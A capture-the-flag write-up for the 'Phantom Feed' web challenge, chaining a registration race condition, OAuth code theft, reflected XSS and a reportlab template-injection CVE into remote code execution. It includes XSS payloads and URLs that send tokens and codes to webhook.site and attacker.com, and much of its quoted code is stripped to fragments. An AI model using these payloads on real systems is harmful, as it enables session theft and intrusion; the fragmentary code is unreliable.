Phantom Feed
This hard web challenge was quite the thinker. It took me a few breaks to find all the required vulnerabilities in this big application, to eventually chain them all together into Remote Code Execution. That resulted in a very satisfying solution when all parts finally clicked together, and with many interesting new techniques I hadn't seen before.
The Challenge
Like with the other challenges, all application source code was given in a ZIP file. The challenge/
directory contained three servers, two apps, and a frontend:
├── challenge
│ ├── phantom-feed
│ │ ├── application
│ │ │ ├── app.py
│ │ │ ├── blueprints
│ │ │ │ └── routes.py
│ │ │ ├── config.py
│ │ │ ├── static
│ │ │ ├── templates
│ │ │ └── util
│ │ │ ├── auth.py
│ │ │ ├── bot.py
│ │ │ ├── database.py
│ │ │ ├── email.py
│ │ │ └── general.py
│ │ ├── requirements.txt
│ │ └── run.py
│ ├── phantom-market-app
│ │ ├── application
│ │ │ ├── app.py
│ │ │ ├── blueprints
│ │ │ │ └── routes.py
│ │ │ ├── config.py
│ │ │ ├── static
│ │ │ ├── templates
│ │ │ └── util
│ │ │ ├── auth.py
│ │ │ ├── database.py
│ │ │ ├── document.py
│ │ │ └── general.py
│ │ ├── requirements.txt
│ │ └── run.py
│ └── phantom-market-frontend
│ ├── assets
│ ├── components
│ │ ├── LoginCard.vue
│ │ ├── NavBar.vue
│ │ └── ProductCard.vue
│ ├── layouts
│ │ └── default.vue
│ ├── package.json
│ ├── pages
│ │ ├── callback.vue
│ │ ├── index.vue
│ │ ├── logout.vue
│ │ ├── orders.vue
│ │ └── product
│ │ └── _id.vue
│ ├── plugins
│ ├── static
│ └── store
├── conf
│ ├── nginx.conf
│ └── supervisord.conf
The conf/nginx.conf
file shows what base paths map to what ports:
Visiting the main site we are greeted with a big Login button, which redirects us to the following page:
Its path is /phantomfeed/login
, but since we don't know any credentials yet we can try to create an account for ourselves using /phantomfeed/register
. After filling out the form we get a response that says "verification code sent":
It seems like the account has not been created yet, and we can also not log in with it directly. Let's check out the code to see how this is handled in phantom-feed/application/blueprints/routes.py
:
return
=
=
return , 400
=
, =
return , 401
=
=
return
return
=
=
=
return , 400
=
, =
return , 401
=
=
return , 200
The register()
function takes our parameters and creates the user in the database. It then adds the verification code to the database and tries to send an email to the user's email address. When we look into this send_email()
function though, there is no code at all!
...
pass
# try:
# self.server = smtplib.SMTP(self.smtp_server, self.smtp_port)
# self.server.starttls() # Use TLS for security
# self.server.login(self.username, self.password)
# msg = MIMEMultipart()
# msg["From"] = self.username
# msg["To"] = to_email
# msg["Subject"] = "Verification code"
# msg.attach(MIMEText(message, "plain"))
# self.server.sendmail(self.username, to_email, msg.as_string())
# self.server.quit()
# except Exception as e:
# print(e)
It is all commented out, meaning any code it generates is thrown into the void. It seems impossible to ever get access to this token to activate our account...
Race Condition in /register
Let's take a look at both the login()
and register()
database interactions in more detail, they call the following functions:
=
return False, None
=
=
=
=
return True,
=
return
=
return False, None
=
=
=
return True,
return False, None
It uses the sqlalchemy
library to make SQL queries from code, like the Users
class which defines columns as properties:
=
=
=
=
=
=
=
Now let's take a detailed look at this code. You might notice that the verified
column has a default=True
value, so if it is not specified it is set as verified by default. The first create_user()
function that /register
calls does not set it to False! Only afterward when add_verification()
is called on the user a code is added and verified=False
is set.
The check_user()
function that /login
uses checks for any user that is verified, so in this small window of time where our user is created but the code is not yet added, we should be able to log in and get a session! This is called a Race Condition.
The attack idea is then to spam requests to the /login
endpoint as fast as possible with a user that does not exist yet, and then while that is running we register that user. If we're lucky the login happens right in between the database creation and the code being added. A simple way to send requests quickly is using ffuf:
While this executes requests quickly like we want, it won't print the cookie that it receives when a successful login happens. We can use the handy -od [directory]
(Output Directory) argument to specify a directory where ffuf should write any requests/responses that match the filter. Speaking of filters, we should add a -fs 858
argument as well because the file size of a failed attempt is 858 bytes. Now we start the request spam, and at the same time register that user:
It worked! Three logins were successful and the out/
directory now contains the full response it matched:
HTTP/1.1HTTP/1.1
With this token, we can visit /phantomfeed/feed
after setting it in our Browser.
Note: If you've looked at the challenge yourself you might have gone down the rabbit hole of trying to slow down the
EmailClient.__init__()
Regular Expression by using "catastrophic backtracking". While in theory, it should give you a huge window to easily log in as the user on a multithreaded server, this is actually not possible because the Python "Global Interpreter Lock" (GIL) prevents any code from executing globally while it is evaluating the RegEx result in C. See this article for a developer complaining about the same thing.
OAuth redirection to steal code
The feed page has a new form that may contain "content", and optionally a "marketplace link":
This endpoint requires authentication which we now have, and from its source code we can find that it creates a post in the database and afterward calls bot_runner(market_link)
to visit the link we put in the form field:
=
=
return
=
=
return , 400
return , 401
=
return
This function seems very interesting as a Chrome bot will visit the URL "http://127.0.0.1:5000" + link
that we have control over. It also sets a "token" cookie to an administrator JWT which will be useful for more attack surface later on.
=
...
=
=
=
If we can somehow steal this token, or just make the bot do something we wouldn't be able to do it can be very helpful. First, we need to look at some more source code however in a part that we haven't covered yet: OAuth 2.0
=
=
return , 400
=
= f
return
This GET route takes two parameters: client_id=
and redirect_url=
. The first is not very interesting and only used in generating the authorization_code, but the latter is much more useful as it tells the browser where to redirect to, importantly with the generated authorization_code=
in that URL. If we were to set this URL to our own server, the response would redirect to our site with the code in a parameter that we receive and can read. If we send the bot to a URL like the following, we can receive its authorization_code:
http://127.0.0.1:3000/phantomfeed/oauth2/code?client_id=phantom-market&redirect_url=http://attacker.com/
->
http://attacker.com/?authorization_code=dG4ED...vy6xr
Sounds like a plan. There is one slight problem, however, this runs on port 3000 instead of 5000 which we can send the bot to. One important observation however is that our link
variable is pasted right after the port number in the hostname, there is no /
separating the hostname and the path. This means that we may be able to manipulate the hostname slightly to send it to another place, which is possible using the http://username:password@host:port/
URL syntax. If we start our link with an @
symbol it will parse the next name and port as the real hostname. So a link like @127.0.0.1:3000
will send the bot to that different host! The final link will then become:
@127.0.0.1:3000/phantomfeed/oauth2/code?client_id=phantom-market&redirect_url=http://webhook.site/7207bcfb-09c2-414a-92fb-4c1cded5c0f9
After creating the post with that link to your own server, the bot will follow it and a code can be received after a few seconds:
GET /f7f50e79-36eb-49e0-aa65-ff7f6beb1108?authorization_code=Z0FBQUFBQmxkM0VsX0RfZmhhQkhBR2QtMFh3V00zSHhDZ001UG11aE5FeTM5RDlPSkJGSnoxNXhxOFp1YXZSQkVKVzlKRjY3Sk5lVzBuR3luQVZuQ2VqaFl6WXpyQTd3T1FiWGdYRzQ2OWNlZUJpT09Lc291QTVXYmo5cUJiLXduSWVvWTV1enJIVGVBSDFiQm1sN1B6ZGozRlVLX2dhNkNHcFR4Xzl3U1dWUE5vYlVyLU9lVl9RR0VZUUdhVkhVT2NIYU45ckFtS3ZvMkxuSm01LThDZFoxT3FEd3hyUHA2QT09
Now the question becomes, what do we do with this code? A quick idea looks like the /phantomfeed/oauth2/token
route which takes such a token, and gives back a JWT access token:
=
=
=
return , 400
return , 401
=
return
But when we test it out, we realize we read too quickly and it does not actually give the access token associated with who generated the token, but rather it gives back your own access token, so it seems pretty much useless. There is also no other place where this code is used, so are we stuck? I'm sure I was at the time.
XSS in /token JSON endpoint
After a little while, however, I realized something. The response of /phantomfeed/oauth2/token
contains our redirect_url=
input from earlier when we generated the token, and this value is reflected in the response. If the Content-Type
response header is set to something that can execute HTML instead of JSON, we could inject HTML tags to achieve Cross-Site Scripting (XSS):
Perfect! When we create a redirect_url=
that contains HTML tags, they are reflected in the response without any encoding, and the Content-Type is set to text/html
which will execute that code when shown in a browser. Because this is another simple GET request we can send the bot to this URL after having gotten one valid authoriation code. Then in the response, a JSON Web Token is generated for the logged-in user and included in the response, which we can easily exfiltrate with the XSS on the same page. Let's build a payload.
Next, we need a valid authorization code, which we can even get from ourselves. This code will include the client_id
and redirect_url
already so we need to make these correct already. The XSS payload goes in the redirect_url=
parameter after URL-encoding it, and the client_id
can be anything like before. We request the following URL ourselves with our token=
cookie set, and then the response contains an authorization_code=
that matches the client and the redirect URL:
We then use this code to create another URL for the bot, which will make it respond with our XSS payload in the redirect URL. We just need to change the path to /token
, and add the authorization_code=
parameter:
@127.0.0.1:3000/phantomfeed/oauth2/token?client_id=phantom-market&redirect_url=%3Cscript%3Elocation%3D%27https%3A%2F%2Fwebhook%2Esite%2F7207bcfb%2D09c2%2D414a%2D92fb%2D4c1cded5c0f9%3F%27%2Bbtoa%28document%2Ebody%2EinnerHTML%29%3C%2Fscript%3E&authorization_code=Z0FBQUFBQmxkMzFJaVdueGlpMmdwSXZEMXlWeDJ3T21sWVJEZTkwcGEwMkVmRDU4SzY5X0twamZWWGJaTVFtOElSbGM0SWp4bEZDQThOc2NtMVJJdjU4Tkc0eW1vd2JqTWU0OXoyN09JYmhPS2tUUXRSU1pETlcyZzRieHVFU0llWlBodlRVaDNMeDZuS3lVajNQdFB1S2ZPbHJCSWhFZkhqenlOMFlJdEFIazhOS1ZWaVNzMjZDTUFkVHpKLUhrU2dWZlpBWjFtbkIzZElfV2NoV3N0VUhXaExLb2xybkJUNEY0X2FWU294VWFWNWpSRVptU3REa05UdjZsSGMwR1ZBdHhMdUl2eU9DMFQtU3FESzBpbDJFc1VFWGJXZGFyVXBnRDUwYVVSYnhjRmxYeFJyNnpEZjA9
Tip: This code is a one-time use, after it is been used once it is no longer valid. So either don't test it, or generate a new code after testing it.
Sending this URL to the bot via the "marketplace link" field, we receive a callback a few seconds later when the bot visits the URL, and the XSS gets triggered:
GET /2deee1bd-e1fa-4677-ae07-f644ed0e13c4?eyJhY2Nlc3NfdG9rZW4iOiAiZXlKaGJHY2lPaUpTVXpJMU5pSXNJblI1Y0NJNklrcFhWQ0o5LmV5SnBjM01pT2lKd2FHRnVkRzl0Wm1WbFpDMWhkWFJvTFhObGNuWmxjaUlzSW1WNGNDSTZNVGN3TWpNek1UVXhPQ3dpZFhObGNsOXBaQ0k2TVN3aWRYTmxjbTVoYldVaU9pSmhaRzFwYm1semRISmhkRzl5SWl3aWRYTmxjbDkwZVhCbElqb2lZV1J0YVc1cGMzUnlZWFJ2Y2lKOS5aN3h5UTA0dUNOUjFzTVk4anhZN0hEVWI1cFlyakkyVzZ2bTItWGdWYlNwc0gzWWFCUi1Jc3k2NzdMQzR3bnI5Rm0yZTRTZ3BuampDRTlydkt1Q2tkWnhpSGc3eGpMazdtNDNhLTB1RVdIeE1BaXZMVVpuS05lVmw0TnoyWXNnQWpxMlhqRnZ3TzQ5eEtYNzFSS3F0dy1HUmlGOEVsdmNPMkZYcTg1NFd5LWJVdmJrZ1RfX19PSkFJek5uUzZCbUhYbjVXQWc2cmlZOFdNUjc3YURCb2RIUEpoNEJ4NU8wb0xYUVpUc0pyNWJ5dWlGRW9pVlE4RkQxTWZTTkV0Tk5CSXFEUjJ0MkRxa3pwd05ZRkUxRUlIVm0xNEdGOTR3b2k2SExHcktBdHhvYThGQ3ozQlJxTHktd3p1QXVyOWdocTJNcjVUR3BJZUwxZzFWMkVlR3NTQkEiLCAidG9rZW5fdHlwZSI6ICJKV1QiLCAiZXhwaXJlc19pbiI6IDE4MDAsICJyZWRpcmVjdF91cmwiOiAiPHNjcmlwdD5sb2NhdGlvbj0naHR0cHM6Ly93ZWJob29rLnNpdGUvMmRlZWUxYmQtZTFmYS00Njc3LWFlMDctZjY0NGVkMGUxM2M0PycrYnRvYShkb2N1bWVudC5ib2R5LmlubmVySFRNTCk8L3NjcmlwdD4=
We can decode this data to get the "access_token"
which is now a JWT with administrator permissions! The question now becomes, what cool stuff can we do now that we are an admin?
SSTI in HTML2PDF converter
While we've exhausted almost all endpoints in the /phantomfeed
base URL, there are some more new ones in the other app at /app
. This is used for the marketplace and contains some middleware to verify the JWT, and check if the user is an administrator:
=
return , 400
=
=
return , 400
=
return , 400
return
=
return
Two endpoints are protected with this @admin_middleware
decorator which we now have access to, so let's review them:
=
=
return , 200
=
return , 400
=
=
return , 200
# orders.html contains '<para><font color="{{ color }}">Orders:</font></para>'
=
=
=
return
The first seems very uninteresting, a simple database query to get all orders. But the second one at /orders/html
looks much more interesting as it takes some user input, renders a template, and converts it to a PDF. We're getting towards the end of the challenge so we also need to think about where the flag is, from the entrypoint.sh
file we can see that it moves the flag to some random name that we cannot guess, so a simple file inclusion won't be enough to read it. It looks like we'll need full Remote Code Execution to list and then read the flag:
# Change flag name
So what is this HTML2PDF()
class about? It is a custom class that uses reportlab
to generate a PDF file from an HTML template.
...
return
=
return
I googled for "SimpleDocTemplate exploit" and quickly found results for CVE-2023-33733, a Remote Code Execution bug through HTML injection in reportlab. The first proof-of-concept on GitHub shows a very similar scenario to ours, where they use a simple text injection to write templating syntax and perform Server-Side Template Injection (SSTI).
https://github.com/c53elyas/CVE-2023-33733
exploit
We can copy their proof-of-concept and change the shell command to exfiltrate the flag.
URL-encoded the payload request will look like this using our new admin JWT:
HTTP/1.1
Sending this to the server, we receive a callback on the webhook with the flag in the POST data!
HTB{r4c3_2_rc3_04uth2_j4ck3d!}